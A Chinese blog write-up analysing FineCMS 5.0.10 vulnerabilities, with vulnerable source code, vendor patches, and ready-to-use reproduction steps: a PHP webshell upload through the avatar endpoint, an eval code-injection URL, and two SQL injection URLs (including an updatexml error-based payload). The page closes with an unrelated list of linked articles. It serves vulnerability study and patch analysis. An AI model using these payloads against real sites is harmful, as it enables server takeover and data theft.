0x01 前言

已经一个月没有写文章了,最近发生了很多事情,水文一篇。
今天的这个CMS是FineCMS,版本是5.0.10版本的几个漏洞分析,从修补漏洞前和修补后的两方面去分析。

文中的evai是特意写的,因为会触发论坛的防护机制,还有分页那一段的代码也去掉了,因为会触发论坛分页的bug。

0x02 环境搭建

https://www.ichunqiu.com/vm/59011/1 可以去i春秋的实验,不用自己搭建那么麻烦了。

0x03 任意文件上传漏洞

1.漏洞复现

用十六进制编辑器写一个有一句话的图片
去网站注册一个账号,然后到上传头像的地方。
抓包,把jepg的改成php发包。

可以看到文件已经上传到到/uploadfile/member/用户ID/0x0.php

2.漏洞分析

文件:finecms/dayrui/controllers/member/Account.php 177~244行

/**
*  上传头像处理
*  传入头像压缩包,解压到指定文件夹后删除非图片文件
*/
public function upload() {     // 创建图片存储文件夹
    $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
    @dr_dir_delete($dir);
    !is_dir($dir) && dr_mkdirs($dir);     if ($_POST['tx']) {
        $file = str_replace(' ', '+', $_POST['tx']);
        if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
            $new_file = $dir.'0x0.'.$result[2];
            if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                exit(dr_json(0, '目录权限不足或磁盘已满'));
            } else {
                $this->load->library('image_lib');
                $config['create_thumb'] = TRUE;
                $config['thumb_marker'] = '';
                $config['maintain_ratio'] = FALSE;
                $config['source_image'] = $new_file;
                foreach (array(30, 45, 90, 180) as $a) {
                    $config['width'] = $config['height'] = $a;
                    $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                    $this->image_lib->initialize($config);
                    if (!$this->image_lib->resize()) {
                        exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
                        break;
                    }
                }
                list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                !$type && exit(dr_json(0, '图片字符串不规范'));
            }
        } else {             exit(dr_json(0, '图片字符串不规范'));
        }
    } else {
        exit(dr_json(0, '图片不存在'));
    } // 上传图片到服务器
    if (defined('UCSSO_API')) {
        $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
        !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
    }     exit('1');
}

这个我记得在5.0.8的版本有讲过这个代码的漏洞执行https://getpass.cn/2018/01/30/The%20latest%20version%20of%20FineCMS%205.0.8%20getshell%20daily%20two%20holes/

后来官方修复的方案是加上了白名单了:

                if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
                    exit(dr_json(0, '目录权限不足'));
                }
                ...
                 $c = 0;
                    if ($fp = @opendir($dir)) {
                        while (FALSE !== ($file = readdir($fp))) {
                            $ext = substr(strrchr($file, '.'), 1);
                            if (in_array(strtolower($ext), array('jpg', 'jpeg', 'png', 'gif'))) {
                                if (copy($dir.$file, $my.$file)) {
                                    $c++;
                                }
                            }
                        }
                        closedir($fp);
                    }
                    if (!$c) {
                        exit(dr_json(0,  fc_lang('未找到目录中的图片')));
                    }

0x04 任意代码执行漏洞

1.漏洞复现

auth下面的分析的时候会说到怎么获取

浏览器输入:
http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271

2.漏洞分析

这个漏洞的文件在/finecms/dayrui/controllers/Api.phpdata2()

public function data2() {
        $data = array();         // 安全码认证
        $auth = $this->input->get('auth', true);
        if ($auth != md5(SYS_KEY)) {
            // 授权认证码不正确
            $data = array('msg' => '授权认证码不正确', 'code' => 0);
        } else {
            // 解析数据
            $cache = '';
            $param = $this->input->get('param');
            if (isset($param['cache']) && $param['cache']) {
                $cache = md5(dr_array2string($param));
                $data = $this->get_cache_data($cache);
            }
            if (!$data) {                 // list数据查询
                $data = $this->template->list_tag($param);
                $data['code'] = $data['error'] ? 0 : 1;
                unset($data['sql'], $data['pages']);                 // 缓存数据
                $cache && $this->set_cache_data($cache, $data, $param['cache']);
            }
        }         // 接收参数
        $format = $this->input->get('format');
        $function = $this->input->get('function');
        if ($function) {
            if (!function_exists($function)) {
                $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
            } else {
                $data = $function($data);
            }
        }         // 页面输出
        if ($format == 'php') {
            print_r($data);
        } elseif ($format == 'jsonp') {
            // 自定义返回名称
            echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
        } else {
            // 自定义返回名称
            echo $this->callback_json($data);
        }
        exit;         }

可以看到开头这里验证了认证码:

// 安全码认证
    $auth = $this->input->get('auth', true);
    if ($auth != md5(SYS_KEY)) {
        // 授权认证码不正确
        $data = array('msg' => '授权认证码不正确', 'code' => 0);
    } else {

授权码在/config/system.php

可以看到SYS_KEY是固定的,我们可以在Cookies找到,/finecms/dayrui/config/config.php

用浏览器查看Cookies可以看到KEY,但是验证用MD5,我们先把KEY加密就行了。

直接看到这一段,调用了Template对象里面的list_tag函数

if (!$data) {

                // list数据查询
                $data = $this->template->list_tag($param);
                $data['code'] = $data['error'] ? 0 : 1;
                unset($data['sql'], $data['pages']);                 // 缓存数据
                $cache && $this->set_cache_data($cache, $data, $param['cache']);
            }

我们到finecms/dayrui/libraries/Template.phplist_tag函数的代码,代码有点长,我抓重点的地方,这里把param=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271的内容分为两个数组$var$val,这两个数组的内容分别为

$var=['action','name']
$val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']

$cache=_cache_var是返回会员的信息
重点的是下面的 @evai('$data=$cache'.$this->_get_var($_param).';');

foreach ($params as $t) {
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);

再看这一段,因为swtich选中的是cache,所有就不再进行下面的分析了。
$pos = strpos($param['name'], '.');这句是为下面的substr函数做准备。
是为了分离出的内容为

$_name='MEMBER'
$_param="1%27];phpinfo();$a=[%271"
 // action
        switch ($system['action']) {             case 'cache': // 系统缓存数据
                if (!isset($param['name'])) {
                    return $this->_return($system['return'], 'name参数不存在');
                }                 $pos = strpos($param['name'], '.');
                if ($pos !== FALSE) {
                    $_name = substr($param['name'], 0, $pos);
                    $_param = substr($param['name'], $pos + 1);
                } else {
                    $_name = $param['name'];
                    $_param = NULL;
                }
                $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
                if (!$cache) {
                    return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
                }
                if ($_param) {
                    $data = array();
                    @evai('$data=$cache'.$this->_get_var($_param).';');
                    if (!$data) {
                        return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
                    }
                } else {
                    $data = $cache;
                }                 return $this->_return($system['return'], $data, '');
                break;

跟踪get_var函数,在这里我们先把$param的内容假设为a,然后执行函数里面的内容,最后返回的$string的内容是:
$string=['a']
那么我们的思路就是把两边的[' ']闭合然后再放上恶意的代码。
payload为:1'];phpinfo();$a=['1
那么返回的$string的内容:
$string=['1'];phpinfo();$a=['1']

public function _get_var($param) {
        $array = explode('.', $param);
        if (!$array) {
            return '';
        }
        $string = '';
        foreach ($array as $var) {
            $string.= '[';
            if (strpos($var, '$') === 0) {
                $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
            } elseif (preg_match('/[A-Z_]+/', $var)) {
                $string.= ''.$var.'';
            } else {
                $string.= '\''.$var.'\'';
            }
            $string.= ']';
        }         return $string;
    }

修复后的_get_var函数里面多了一个dr_safe_replace过滤函数,然后data2()删除了。

 public function _get_var($param) {

        $array = explode('.', $param);
        if (!$array) {
            return '';
        }
        $string = '';
        foreach ($array as $var) {
            $var = dr_safe_replace($var);
            $string.= '[';
            if (strpos($var, '$') === 0) {
                $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
            } elseif (preg_match('/[A-Z_]+/', $var)) {
                $string.= ''.$var.'';
            } else {
                $string.= '\''.$var.'\'';
            }
            $string.= ']';
        }         return $string;
    }

dr_safe_replace()

function dr_safe_replace($string) {
    $string = str_replace('%20', '', $string);
    $string = str_replace('%27', '', $string);
    $string = str_replace('%2527', '', $string);
    $string = str_replace('*', '', $string);
    $string = str_replace('"', '"', $string);
    $string = str_replace("'", '', $string);
    $string = str_replace('"', '', $string);
    $string = str_replace(';', '', $string);
    $string = str_replace('<', '<', $string);
    $string = str_replace('>', '>', $string);
    $string = str_replace("{", '', $string);
    $string = str_replace('}', '', $string);
    return $string;
}

0x05 任意SQL语句执行1

1.漏洞复现

浏览器:

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20version();%27

2.漏洞分析

这里就不用debug模式去跟进了,有不懂CI框架的数据库操作可以去看官方文档http://codeigniter.org.cn/user_guide/database/index.html

问题一样出在finecms/dayrui/controllers/Api.php中的data2(),可以直接去看finecms/dayrui/libraries/Template.php里面的list_tag()函数

fenye

这里想说一下就是preg_match这个函数的作用,他匹配过后sql是一个数组:

array(2) {
  [0]=>
  string(23) "sql='select version();'"
  [1]=>
  string(17) "select version();"
}

这里判断了开头的位置是否只使用了select

 if (stripos($sql, 'SELECT') !== 0) {
                        return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');

再往下看,这一句才是执行SQL的地方,传入sql内容和$system['site']默认是1,$system['cache'] 默认缓存时间是3600

 $data = $this->_query($sql, $system['site'], $system['cache']);

继续跟进_query()函数

public function _query($sql, $site, $cache, $all = TRUE) {
        echo $this->ci->site[$site];
        // 数据库对象
        $db = $site ? $this->ci->site[$site] : $this->ci->db;
        $cname = md5($sql.dr_now_url());
        // 缓存存在时读取缓存文件
        if ($cache && $data = $this->ci->get_cache_data($cname)) {
            return $data;
        }         // 执行SQL
        $db->db_debug = FALSE;
        $query = $db->query($sql);         if (!$query) {
            return 'SQL查询解析不正确:'.$sql;
        }         // 查询结果
        $data = $all ? $query->result_array() : $query->row_array();         // 开启缓存时,重新存储缓存数据
        $cache && $this->ci->set_cache_data($cname, $data, $cache);         $db->db_debug = TRUE;         return $data;
    }

没有对函数进行任何过滤$query = $db->query($sql);,直接带入了我们的语句。

官方的修复方法:删除了data2()函数

0x06 任意SQL语句执行2

1.漏洞复现

浏览器:

http://getpass1.cn/index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user()),0x7e),1)))a

2. 漏洞分析

文件在finecms/dayrui/controllers/member/Api.phpchecktitle()函数

    public function checktitle() {

        $id = (int)$this->input->get('id');
        $title = $this->input->get('title', TRUE);
        $module = $this->input->get('module');         (!$title || !$module) && exit('');         $num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
        echo $num;
        $num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
    }

其他的没什么过滤,主要是CI框架里面的一些内置方法,比如count_all_results,可以到http://codeigniter.org.cn/user_guide/database/query_builder.html?highlight=count_all_results#CI_DB_query_builder::count_all_results  查看用法

还有一个就是SITE_ID变量,它是指

站点是系统的核心部分,各个站点数据独立,可以设置站点分库管理

剩下也没什么可分析了,不懂updatexml语句可以看下面的参考链接

0x07 结束

还有一个远程命令执行漏洞没能复现,是在api的html()函数,说是可以用&来突破,但是evai只能用;来结束语句的结束。

function dr_safe_replace($string) {
    $string = str_replace('%20', '', $string);
    $string = str_replace('%27', '', $string);
    $string = str_replace('%2527', '', $string);
    $string = str_replace('*', '', $string);
    $string = str_replace('"', '"', $string);
    $string = str_replace("'", '', $string);
    $string = str_replace('"', '', $string);
    $string = str_replace(';', '', $string);
    $string = str_replace('<', '<', $string);
    $string = str_replace('>', '>', $string);
    $string = str_replace("{", '', $string);
    $string = str_replace('}', '', $string);
    return $string;
}

FineCMS 5.0.10 多个 漏洞详细分析过程的更多相关文章

  1. 技能篇丨FineCMS 5.0.10 多个漏洞详细分析

    今天是一篇关于技能提升的文章,文章中的CMS是FineCMS,版本是5.0.10版本的几个漏洞分析,主要内容是介绍漏洞修补前和修补后的分析过程,帮助大家快速掌握该技能. 注:篇幅较长,阅读用时约7分钟 ...

  2. Tomcat7.0.22在Windows下详细配置过程

    Tomcat7.0.22在Windows下详细配置过程 一.JDK1.7安装 1.下载jdk,下载地址:http://www.oracle.com/technetwork/java/javase/do ...

  3. CVE-2019-11477:Linux 内核中TCP协议栈整数溢出漏洞详细分析 代码卫士 今天

    CVE-2019-11477:Linux 内核中TCP协议栈整数溢出漏洞详细分析 代码卫士 今天

  4. 一个DOS攻击木马的详细分析过程

    一个DOS攻击木马的详细分析过程 0×01 起因 网路流量里发现了大量的的1.exe的文件,而且一直在持续,第一感觉就像是一个木马程序,而且每个1.exe的MD5都不一样,对比发现只有几个字节不一样( ...

  5. 10.hibernate缓存机制详细分析(转自xiaoluo501395377)

    hibernate缓存机制详细分析   在本篇随笔里将会分析一下hibernate的缓存机制,包括一级缓存(session级别).二级缓存(sessionFactory级别)以及查询缓存,当然还要讨论 ...

  6. Shiro RememberMe 1.2.4远程代码执行漏洞-详细分析

    本文首发于先知: https://xz.aliyun.com/t/6493 0x01.漏洞复现 环境配置 https://github.com/Medicean/VulApps/tree/master ...

  7. Linux下安装redis的详细过程(redis版本为4.0.10)

    1.安装redis步骤 1.推荐进入到linux路径/usr/local/src 2.$ wget http://download.redis.io/releases/redis-4.0.10.tar ...

  8. 基于Web的Kafka管理器工具之Kafka-manager的编译部署详细安装 (支持kafka0.8、0.9和0.10以后版本)(图文详解)(默认端口或任意自定义端口)

    不多说,直接上干货! 至于为什么,要写这篇博客以及安装Kafka-manager? 问题详情 无奈于,在kafka里没有一个较好自带的web ui.启动后无法观看,并且不友好.所以,需安装一个第三方的 ...

  9. CSRF漏洞详细说明

    CSRF漏洞详细说明 通常情况下,有三种方法被广泛用来防御CSRF攻击:验证token,验证HTTP请求的Referer,还有验证XMLHttpRequests里的自定义header.鉴于种种原因,这 ...

随机推荐

  1. Codeforces Round #552 (Div. 3) F题

    题目网址:http://codeforces.com/contest/1154/problem/F 题目大意:给出n,m,k,n是物体的个数,m是优惠方式的种数,k是需要购买的物体个数, 然后给出n个 ...

  2. java集合类,HashMap,ArrayList

    集合类 Collection LinkedList.ArrayList.HashSet是非线程安全的, Vector是线程安全的; ArrayXxx:底层数据结构是数组,连续存放,所以查询快,增删慢. ...

  3. 超简单的全新win10安装

    1.准备工作! 这里说一下需要装系统的东西: 至少8G的U盘或内存卡 一台Windows电脑 在要安装的电脑上至少有16G的空间,最好至少64G. 2.现成电脑下载文件(已经有重装系统U盘跳过这一步) ...

  4. BZOJ1270或洛谷1107 [BJWC2008]雷涛的小猫

    BZOJ原题链接 洛谷原题链接 \(DP\)水题. 定义\(f[i][j]\)表示小猫在高度\(i\),位于第\(j\)棵树时最多能吃到的柿子的数量.分为直接往下跳和跳到另一棵树两个决策. 那么很容易 ...

  5. npm-package.json

    Specifics of npm's package.json handling DESCRIPTION§ This document is all you need to know about wh ...

  6. Python:每日一题008

    题目: 判断101-200之间有多少个素数,并输出所有素数. 程序分析: 判断素数的方法:用一个数分别去除2到sqrt(这个数),如果能被整除,则表明此数不是素数,反之是素数. 个人思路及代码: li ...

  7. 我的第一个flink_java程序

    之前看了视频学习第一个flink  word count使用,但是对于socket发送数据作为数据源我这里有点忘记了,加上最近有个项目要发布,一直在忙,所以迟迟无法完成: 1.首先我们要有数据源,因为 ...

  8. windbg排查大内存

    现在都是用windbg preview,安装比较麻烦了,还要配置环境变量, 并且每次分析前要先执行 !analyze - v !eeheap -gc !DumpHeap -min 500 000002 ...

  9. 一些Debug时没整理的内容

    一.UShapeComponent组件的默认CollisionProfile为:OverlapAllDynamic.这会影响到由此派生的许多组件. 二.TwinStickShooter中绑定键盘的方式 ...

  10. Python 3.6安装yaml时报"AttributeError: module 'pip' has no attribute 'main'"和“Non-zero exit code”错误

    1.Python 3.6安装yaml时一开始报AttributeError: module 'pip' has no attribute错误,根据网上提供的解决方法修改Pycharm安装目录D:\Pr ...